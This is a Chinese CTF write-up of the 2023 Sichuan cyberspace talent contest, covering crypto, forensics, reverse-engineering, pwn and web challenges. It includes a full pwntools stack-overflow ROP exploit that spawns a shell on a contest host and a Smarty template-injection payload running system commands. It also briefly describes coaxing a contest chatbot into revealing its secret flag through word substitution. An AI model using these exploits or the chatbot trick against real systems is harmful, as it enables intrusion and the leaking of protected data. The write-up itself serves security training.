2023年四川网信人才技能大赛 实操赛Writeup

news2024/11/19 19:33:06

文章目录

  • Crypto
    • 比base64少的base
    • affine
    • 简单的RSA
  • Misc
    • 不要动我的flag
    • SimpleUSB
    • 猜猜我是谁
    • 不聪明的AI
  • Pwn
    • getitez
    • bbstack
  • Reverse
    • 谁的DNA动了
    • Don't Touch Me
  • Web
    • little_game
    • justppb
    • ezbbs
    • smart


题目附件,文章末尾微信公众号点点关注亲,谢谢亲~

题目附件链接:https://pan.baidu.com/s/1kC9kiyUCfjTxqkXPpUFoXw 
提取码:dh2w 

Crypto

比base64少的base

image.png

affine

wohz{k533q73q-t76t-9292-351w-h880t22q2q59}

a=3 b=7

image.png

简单的RSA

p = r**5 + r**4 - r**3 + r**2 - r + 2023
q = r**5 - r**4 + r**3 - r**2 + r + 2023

所以n近似等于

r**10 - r**8 + 2*r**7 - 3*r**6 + 4050*r**5 - 3*r**4 + 2*r**3 - r**2 + 4092529==n

z3求解出r,进而得到pq ,然后进行常规的解密

n = 25066797992811602609904442429968244207814135173233823574561146780193277243588729282392464721760638040595480284865294238118778099149754637586361909432730412493061503054820202744474632665791457

r = Real('r')
s = Solver()
s.add(r**10 - r**8 + 2*r**7 - 3*r**6 + 4050*r**5 - 3*r**4 + 2*r**3 - r**2 + 4092529==n)
print(s.check())
print(s.model())
[r = -10962507061290870331]
from Crypto.Util.number import *
# from secret import flag
from sympy import nextprime

flag=b''

r = 10962507061290870331
p = r**5 + r**4 - r**3 + r**2 - r + 2023
q = r**5 - r**4 + r**3 - r**2 + r + 2023
p =nextprime(p)
q =nextprime(q)
n = p*q
d = inverse_mod(65537,(p-1)*(q-1))

c = 18808483076270941157829928736000549389727451019027515249724024369421942132354537978233676261769285858813983730966871222263698559152437016666829640339912308636169767041243411900882395764607422
def enc(c, n):
    return ZZ(pow(c, d, n))
long_to_bytes(enc(c, n))
b'flag{5afe5cbb-4b4c-9cb6-f8b6-032cabf4b7e7}'

Misc

不要动我的flag

追踪TCP流,第0个流发现flag的sha256image.png
3个流发现残缺的flag
image.png

import random
import hashlib

hexStr = "0123456789abcdef"
while True:
	partFlag = ''.join([random.choice(hexStr) for _ in range(4)])
	flag = 'flag{{22af230f-bbed-{}-95fa-b6b1ca6dc32e}}'.format(partFlag)
	sha256Flag = hashlib.sha256(flag.encode()).hexdigest()
	if sha256Flag[:20] == 'c7e6ea42b7301e6330ba':
		print(flag, sha256Flag)
		break
PS C:\Users\Administrator\Downloads> python .\misc.py
flag{22af230f-bbed-48b9-95fa-b6b1ca6dc32e} c7e6ea42b7301e6330ba3959fe407930191d371885935ad4cd51e95e857a3155

SimpleUSB

原题:HWS第七期夏令营(硬件安全营)预选赛Misc USB

过滤所有的长度为35usb.capdata
image.png

D:\Wireshark\tshark.exe -r .\misc1.pcapng -T fields -Y "frame.len==35" -e usb.capdata > keyboard.txt

image.png
有很多20开头的这些里面也是有键盘数据的,把条件一起加进去,然后脚本处理

# -*- coding: utf-8 -*-
import re

normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
              "0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
              "16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
              "1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
              "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
              "30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
              "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
              "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}

shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
             "0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
             "16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
             "1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
             "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
             "30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",
             "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
             "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}

def filterProcess(output):
    content = output.replace('<SPACE>', ' ')
    while True:
        if '<DEL>' in content:
            content = re.sub(r'[^>]<DEL>', '', content)
        else:
            break
    return content

with open('keyboard.txt', 'r') as f:
    output = ""
    lines = f.readlines()
    for line in lines:
        ifShiftKeys, usbData = line[0:2], line[4:6]
        if usbData != "00":
            if ifShiftKeys == "00":
                if usbData in normalKeys:
                    output += normalKeys[usbData]
            elif ifShiftKeys == "02" or ifShiftKeys == "20": # 按下了Shift键
                if usbData in shiftKeys:
                    output += shiftKeys[usbData]
print("[+]Output: {}\n".format(output))
print("[+]Filter Processed: {}".format(filterProcess(output)))
PS C:\Users\Administrator\Downloads> python .\UsbKeyboard.py
[+]Output: Ao(mgHy<DEL>Y$\<CAP>a@q7<CAP>gW2D$dE@6#oO0f<Gm1hAI'/N#4C<DEL><AN;<CAP>ms@p<CAP>frQ149K

最终得到:Ao(mgHY$\A@Q7gW2D$dE@6#oO0f<Gm1hAI'/N#4<AN;MS@PfrQ149K

直接跑一下看看是啥子
image.png

猜猜我是谁

根据题目提示猜测outguess的密码是扑克牌K画像的人名:caesar
image.pngr
然后还有一层凯撒
image.png

不聪明的AI

输入flag回答说中文,直接输出旗帜返回flag

Pwn

getitez

静态分析下,addbook里面的v9是栈上的,v8指向addbook的函数
image.png
addbook函数, 上面v90x18, 下面read可以读0x100个字节,明显一个栈溢出,先用 showbook功能leakcanarylibc地址,然后ROP

__int64 __fastcall sub_14BA(__int64 a1, void *a2)
{
  __int64 result; // rax

  std::operator<<<std::char_traits<char>>(&std::cout, "book name:");
  read(0, a2, 0x100uLL);
  std::operator<<<std::char_traits<char>>(&std::cout, "book price:");
  std::istream::operator>>(&std::cin, a1 + 8);
  result = a1;
  *(_QWORD *)(a1 + 16) = a2;
  return result;
}

exp

from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', log_level = 'info')	#info

path = "./getitez"
#p = process(path)
p = remote('10.10.10.101', 35067)
elf = ELF(path)
libc = elf.libc

def g():
	gdb.attach(p)
	raw_input()

sl = lambda arg : p.sendline(arg)
sla = lambda arg1, arg2 : p.sendlineafter(arg1, arg2)
sd = lambda arg : p.send(arg)
ru = lambda arg : p.recvuntil(arg)
rl = lambda : p.recvline()
sa = lambda arg1, arg2 : p.sendafter(arg1, arg2)
inv = lambda : p.interactive()


def choice(num):
    sla(b'choice', str(num).encode())


def addbook(name):
	choice(1)
	sla(b'name:', name)
	sla(b'price:', b'123')


def showbook():
    choice(2)


pay = b'a' * 0x18
addbook(pay)
showbook()

ru(b'a' * 0x18)
canary = int.from_bytes(p.recv(14), 'little') & 0xffffffffffffff00
log.success('canary = ' + hex(canary))

pay1 = b'a' * 0x38
addbook(pay1)
showbook()

libc_base = u64(ru(b'\x7f')[-6:].ljust(0x8, b'\x00'))
libc.address = libc_base = ((libc_base - libc.sym['__libc_start_main']) >> 12) << 12
log.success('libc_base = ' +  hex(libc_base))


bin_sh = next(libc.search(b"/bin/sh"))
system_addr = libc.sym['system']
pop_rdi = next(libc.search(asm("pop rdi; ret")))

log.success("bin_sh = " + hex(bin_sh))
log.success("system_addr = " + hex(system_addr))

payload = b'a' * 0x18 + p64(canary)
payload += p64(pop_rdi + 1) * 4 + p64(pop_rdi)
payload += p64(bin_sh) + p64(system_addr)

addbook(payload)
choice(4)

inv()

bbstack

还在研究中…

Reverse

谁的DNA动了

程序主函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v4; // [rsp+Ch] [rbp-14h]
  int i; // [rsp+10h] [rbp-10h]
  int s; // [rsp+14h] [rbp-Ch] BYREF
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(argc, argv, envp);
  s = 0;
  v4 = read(0, inputs, 0x40uLL);
  if ( inputs[v4 - 1] == 10 )
    inputs[--v4] = 0;
  for ( i = 0; i < (int)v4; ++i )
  {
    memset(&s, 0, sizeof(s));
    encode(inputs[i], (__int64)&s);
    outputs[4 * i + 3] = s;
    outputs[4 * i + 2] = BYTE1(s);
    outputs[4 * i + 1] = BYTE2(s);
    outputs[4 * i] = HIBYTE(s);
  }
  if ( (unsigned __int8)judge(outputs, CODE, v4) )
  {
    puts("well done!you get it");
  }
  else if ( !strncmp("flag{", inputs, 5uLL) )
  {
//最开始看到后面那个太激动, 以为直接爆破4字节的md5就行,不过交上去是错的, 还是得逆   
    puts("hey!tell you the 'flag'?");
    puts("flag{Th14_15_a_xxxx_flAg},the MD5 hash value of xxxx is \"7c76fb919bab9a1abfe854cf80725a09\",just 4 bytes");
  }
  return 0;
}

//子函数1
__int64 __fastcall encode(unsigned int a1, __int64 a2)
{
  __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-4h]

  result = a1;
  for ( i = 0; i <= 3; ++i )                    // box = "AGCT"
  {
    result = (unsigned __int8)box[((char)a1 >> (2 * i)) & 3];
    *(_BYTE *)(i + a2) = result;
  }
  return result;
}

//子函数2
bool __fastcall judge(__int64 a1, __int64 a2, int a3)
{
  int v4; // ebx
  int v5; // ebx
  int v6; // r12d
  int v8; // [rsp+28h] [rbp-18h]
  int i; // [rsp+2Ch] [rbp-14h]

  v8 = 0;
  if ( 4 * a3 > strlen(CODE) )
    return 0;
  for ( i = 0; i < a3; ++i )
  {
    v4 = Int(*(_BYTE *)(i + a1));
    v5 = Int(*(_BYTE *)(i + a2)) + v4;
    v6 = Int('K');
    if ( v5 == v6 - (unsigned int)Int('B') )
      ++v8;
  }
  return 4 * v8 == strlen(CODE);
}

//子函数3
__int64 __fastcall Int(char a1)
{
  __int64 result; // rax

  switch ( a1 )
  {
    case 'A':
      result = 0LL;
      break;
    case 'B':
      result = 4LL;
      break;
    case 'C':
      result = 2LL;
      break;
    case 'D':
      result = 5LL;
      break;
    case 'F':
      result = 6LL;
      break;
    case 'G':
      result = 1LL;
      break;
    case 'K':
      result = 7LL;
      break;
    case 'M':
      result = 8LL;
      break;
    case 'T':
      result = 3LL;
      break;
    default:
      result = 10LL;
      break;
  }
  return result;
}

一个ascii码字符是8位,循环4次,每次取2位,然后按照box数组存储,就是每4个encode后的字符就是原来的一个字符
最后对比的对象

CODE = "CGCGCGATCGTCCGCACAGATACATATGTACCTATTTATTTAGTCGTCTACCCGCCTACGCGCCTACGTACCCGCTCGTCTATTTATCCGTATATTTACTTAGCTATCTACTCGTATACTTACATACGCGTCCGCCTATTTAGTTACACAAC"

先根据CODE还原出encode后的字符串

#include "header.h"
#include "base64.cpp"
#include "func.cpp"
#include "tea.cpp"

__int64 __fastcall Int(char a1)
{
    __int64 result; // rax

    switch ( a1 )
    {
        case 'A':
            result = 0LL;
            break;
        case 'B':
            result = 4LL;
            break;
        case 'C':
            result = 2LL;
            break;
        case 'D':
            result = 5LL;
            break;
        case 'F':
            result = 6LL;
            break;
        case 'G':
            result = 1LL;
            break;
        case 'K':
            result = 7LL;
            break;
        case 'M':
            result = 8LL;
            break;
        case 'T':
            result = 3LL;
            break;
        default:
            result = 10LL;
            break;
    }
    return result;
}

int main()
{
    char ans[] = "CGCGCGATCGTCCGCACAGATACATATGTACCTATTTATTTAGTCGTCTACCCGCCTACGCGCCTACGTACCCGCTCGTCTATTTATCCGTATATTTACTTAGCTATCTACTCGTATACTTACATACGCGTCCGCCTATTTAGTTACACAAC";
    char res[0x100] = {0};
    p(i, 0, strlen(ans)) {
        p(j, 0x20, 0x7f) {
            if (Int(ans[i]) + Int((char)j) == 3){
                res[i] = (char)j;
            }
        }
    }

    p(i, 0, strlen(res)) {
        printf("%c", res[i]);
    }
    //GCGCGCTAGCAGGCGTGTCTATGTATACATGGATAAATAAATCAGCAGATGGGCGGATGCGCGGATGCATGGGCGAGCAGATAAATAGGCATATAAATGAATCGATAGATGAGCATATGAATGTATGCGCAGGCGGATAAATCAATGTGTTG
    return 21;
}

然后就是将4个字符重新组合成原来的1个字符

    res = "GCGCGCTAGCAGGCGTGTCTATGTATACATGGATAAATAAATCAGCAGATGGGCGGATGCGCGGATGCATGGGCGAGCAGATAAATAGGCATATAAATGAATCGATAGATGAGCATATGAATGTATGCGCAGGCGGATAAATCAATGTGTTG"

    box = "AGCT"
    for i in range(0, len(res), 4):
        a1 = (int(box.index(res[i])))
        a2 = (int(box.index(res[i + 1])))
        a3 = (int(box.index(res[i + 2])))
        a4 = (int(box.index(res[i + 3])))

        c = ((a1 << 6) + (a2 << 4) + (a3 << 2) + a4)
        print(chr(c), end='')

#flag{725008a5e6e65da01c04914c476ae087}

Don’t Touch Me

程序给的是一个ELF文件,结果用ida看一篇混乱,发现有很多python的痕迹,估计是python打包的ELF,用工具还原
image.png
还原后
image.png
基本上就是对导入的touch.check的调用,用ida看py解包出来的touch.so文件

__int64 __fastcall check(BYTE *a1)
{
  int i; // [rsp+10h] [rbp-8h]
  int j; // [rsp+14h] [rbp-4h]

  for ( i = 0; i <= 37; ++i )
  {
    a1[i] ^= 0x25u;
    a1[i] *= 2;
  }
  for ( j = 0; j <= 37; ++j )
  {
    if ( a1[j] != ans[j] )
      return 0LL;
  }
  return 1LL;
}
#ans = [0x86, 0x92, 0x88, 0x84, 0xbc, 0xea, 0xb8, 0xf4, 0x28, 0x2c, 0xf4, 0x2c, 0xca, 0xac, 0xb8, 0xf4, 0xc2, 0x2a, 0x96, 0x24, 0xf4, 0xe2, 0x2a, 0xa0, 0x2e, 0x9a, 0xf4, 0xd0, 0x2c, 0xf4, 0xc8, 0x84, 0x88, 0x98, 0x96, 0x8, 0xb0, 0x4a]

把操作还原就行

    enc = [0x86, 0x92, 0x88, 0x84, 0xbc, 0xea, 0xb8, 0xf4, 0x28, 0x2c, 0xf4, 0x2c, 0xca, 0xac, 0xb8, 0xf4, 0xc2, 0x2a,
           0x96, 0x24, 0xf4, 0xe2, 0x2a, 0xa0, 0x2e, 0x9a, 0xf4, 0xd0, 0x2c, 0xf4, 0xc8, 0x84, 0x88, 0x98, 0x96, 0x8,
           0xb0, 0x4a]

    for i in enc:
        c = chr((i // 2) ^ 0x25)
        print(c, end='')

#flag{Py_13_3@sy_D0n7_T0u2h_M3_Again!}

Web

little_game

查看源码发现一个success,给了一串字符,以及一个数组下标,直接就是遍历这串字符的下标得到的就是flag

arr = '1234567890qwertyuiopasdfghjklzxcvbnm{}-'
index = [23,28,20,24,36,1,3,7,6,3,38,2,8,9,5,7,21,38,9,3,6,18,22,38,26,16,6,18,15,37]
print(''.join([arr[i] for i in index]))
# flag{24874-39068s-047od-ju7oy}

justppb

试过爆破,但是习惯用的是自己的字典,没想到这里要用Burp自带的字典和密码爆破。。。。。
image.png

ezbbs

还在研究中…

smart

Smarty的模板注入:https://xz.aliyun.com/t/11108#toc-6
image.png
就是换了个名字,把template_object改成template即可

data=string:{$smarty.template->smarty->enableSecurity()->display('string:{system("ls -lha /")}')}

image.png
绕过直接?匹配或者通配符*
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1302378.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

E4990A 阻抗分析仪,20 Hz 至 10/20/30/50/120 MHz

01 E4990A 阻抗分析仪 20 Hz 至 10/20/30/50/120 MHz 产品综述&#xff1a; E4990A 阻抗分析仪具有 20 Hz 至 120 MHz 的频率范围&#xff0c;可在宽阻抗范围内提供出色的 0.045%&#xff08;典型值&#xff09;基本准确度&#xff0c;并内置 40 V 直流偏置源&#xff0c;适…

字符选择的题解

目录 原题描述&#xff1a; 题目描述 样例输入1 样例输出1 样例输入2 样例输出2 题目大意&#xff1a; 主要思路&#xff1a; change的设计&#xff1a; dp的转移&#xff1a; dp初始化&#xff1a; dp的结算&#xff1a; 注意事项&#xff1a; 代码&#xff08;有…

cogvlm:visual expert for large lanuage models

CogVLM: Visual Expert For Large Language Models论文笔记 - 知乎github: https://github.com/THUDM/CogVLM简介认为原先的shallow alignment效果不好&#xff08;如blip-2&#xff0c;llava等&#xff09;&#xff0c;提出了visual expert module用于特征的deep fusion在10项…

【go语言实践】go运算符

go语言的运算符与c的基本一致 算术运算符 算术运算符中有以下几点需要注意&#xff1a; 对一个数取模时&#xff0c;等价于a%b a - a/b * bgo的、–只能当做独立语句使用&#xff0c;不能混合赋值语句&#xff0c;如&#xff1a;num2 : num1go的&#xff0c;–只能写在变量后…

YOLOv8/YOLOv7/YOLOv5/YOLOv4/Faster-rcnn系列算法改进【NO.83】将主干特征提取网络Backbone改为RevCol

前言 作为当前先进的深度学习目标检测算法YOLOv8,已经集合了大量的trick,但是还是有提高和改进的空间,针对具体应用场景下的检测难点,可以不同的改进方法。此后的系列文章,将重点对YOLOv8的如何改进进行详细的介绍,目的是为了给那些搞科研的同学需要创新点或者搞工程项目…

管程模型与锁

作者简介&#xff1a;大家好&#xff0c;我是smart哥&#xff0c;前中兴通讯、美团架构师&#xff0c;现某互联网公司CTO 联系qq&#xff1a;184480602&#xff0c;加我进群&#xff0c;大家一起学习&#xff0c;一起进步&#xff0c;一起对抗互联网寒冬 在如何学习Java并发编程…

操作系统大会 openEuler Summit 2023即将召开,亮点不容错过

【12月11日&#xff0c;北京】数字化、智能化浪潮正奔涌而来。操作系统作为数字基础设施的底座&#xff0c;已经成为推动产业数字化、智能化发展的核心力量&#xff0c;为数智未来提供无限可能。12月15-16日&#xff0c;以“崛起数字时代 引领数智未来”为主题的操作系统大会 &…

Python - 搭建 Flask 服务实现图像、视频修复需求

目录 一.引言 二.服务构建 1.主函数 upload_gif 2.文件接收 3.专属目录 4.图像修复 5.gif2mp4 6.mp42gif 7.图像返回 三.服务测试 1.服务启动 2.服务调用 四.总结 一.引言 前面我们介绍了如何使用 Real-ESRGAN 进行图像增强并在原始格式 jpeg、jpg、mp4 的基础上…

ROB的结构与作用

在流水线的提交&#xff08;Commit&#xff09;阶段&#xff0c;之所以能够将乱序执行的指令变回程序中指定的顺序状态,主要是通过重排序缓存(Reorder Buffer, ROB)来实现的 ROB本质上是一个FIFO在它当中存储了一条指令的相关信息,例如这条指令的类型、结果、目的寄存器和异常…

QT作业3

完善对话框&#xff0c;点击登录对话框&#xff0c;如果账号和密码匹配&#xff0c;则弹出信息对话框&#xff0c;给出提示”登录成功“&#xff0c;提供一个Ok按钮&#xff0c;用户点击Ok后&#xff0c;关闭登录界面&#xff0c;跳转到其他界面 如果账号和密码不匹配&#xf…

关于照片时间轴修改的方法根据文件名修改拍摄日期、创建日期等信息根据时间戳文件名修改照片信息

由于时光相册倒闭&#xff0c;从云上下载回来的数据有很多是乱序的、没有时间轴 关于照片时间轴修改的方法 根据文件名修改拍摄日期、创建日期等信息 根据时间戳文件名修改照片信息 其中有几种情况 1.文件名带有照片拍摄日期时间 2.文件名是时间戳&#xff08;微信图片&a…

阿里面试:如何保证RocketMQ消息有序?如何解决RocketMQ消息积压?

尼恩说在前面 在40岁老架构师 尼恩的读者交流群(50)中&#xff0c;最近有小伙伴拿到了一线互联网企业如阿里、滴滴、极兔、有赞、希音、百度、网易、美团的面试资格&#xff0c;遇到很多很重要的面试题&#xff1a; 如何保证RocketMQ消息有序&#xff1f;如何解决RocketMQ消息…

Docker多平台安装与配置指南

Docker的流行使得它成为开发者和运维人员不可或缺的工具。在本文中&#xff0c;将深入探讨如何在不同平台上安装和配置Docker&#xff0c;旨在为大家提供详尽的指南&#xff0c;确保他们能够顺利地使用这一强大的容器化工具。 Docker基础概念回顾 Docker利用容器技术&#xf…

排序与算法--冒泡排序

1.原理 比较两个相邻的元素&#xff0c;将较大的值交换到右边 2.举例&#xff1a;2 8 7 5 9 4 3 第一趟&#xff1a; 第一次&#xff1a;比较第一个和第二个&#xff1a;2 8 &#xff0c;不需要交换 第二次&#xff1a;比较 8 7&#xff0c;将8和7进行交换&#xff1a;2 7 …

山海鲸开发者:展现数据可视化在各领域的无限可能

作为一名山海鲸可视化软件的内部开发者&#xff0c;我对这款软件投入了大量的经历以及含有深深的情感。下面&#xff0c;我从这款软件应用场景下手&#xff0c;带大家探秘这款软件的多种可能性以及我们的用心。 首先&#xff0c;从行业角度来看&#xff0c;山海鲸可视化软件可以…

玩法题材创新的跑酷游戏,广告变现不止带来收益 | TopOn变现干货

跑酷游戏是一类永不落伍的游戏。从远古的红白机到现代的PC、手机&#xff0c;经典作品层出不穷&#xff0c;而提起手机端的跑酷游戏&#xff0c;相信大部分玩家脑海里的第一印象便是《神庙逃亡》和《地铁跑酷》这两款经典游戏&#xff0c;在上蹿下跳、左右挪移间躲避障碍&#…

Web自动化测试工具起到哪些重要作用

随着互联网的迅猛发展&#xff0c;Web应用程序已经成为企业不可或缺的一部分。为了确保Web应用的质量和可靠性&#xff0c;Web自动化测试工具变得至关重要。以下是Web自动化测试工具在软件开发生命周期中发挥的作用&#xff1a; 1. 提高测试效率和速度 Web自动化测试工具可以快…

简单实现Spring容器(二) 封装BeanDefinition对象放入Map

阶段2: // 1.编写自己的Spring容器,实现扫描包,得到bean的class对象.2.扫描将 bean 信息封装到 BeanDefinition对象,并放入到Map.思路: 1.将 bean 信息封装到 BeanDefinition对象中,再将其放入到BeanDefinitionMap集合中,集合的结构大概是 key[beanName]–value[beanDefintion…

网贷教父判无期,千家万户哭成狗

作者&#xff5c;翻篇 新熔财经快评&#xff1a; 真是太气人了 e租宝崩盘后 比它更大的雷又来了 “网贷教父”周世平 非法吸收公众存款1090亿 被判了无期 48万多人的血汗钱啊 就这样血本无归了 要知道 当年周世平做p2p 就靠着全额垫付 这颗定心丸 大量的宝妈 上…

作业12.11

1 完善对话框&#xff0c;点击登录对话框&#xff0c;如果账号和密码匹配&#xff0c;则弹出信息对话框&#xff0c;给出提示”登录成功“&#xff0c;提供一个Ok按钮&#xff0c;用户点击Ok后&#xff0c;关闭登录界面&#xff0c;跳转到其他界面 如果账号和密码不匹配&…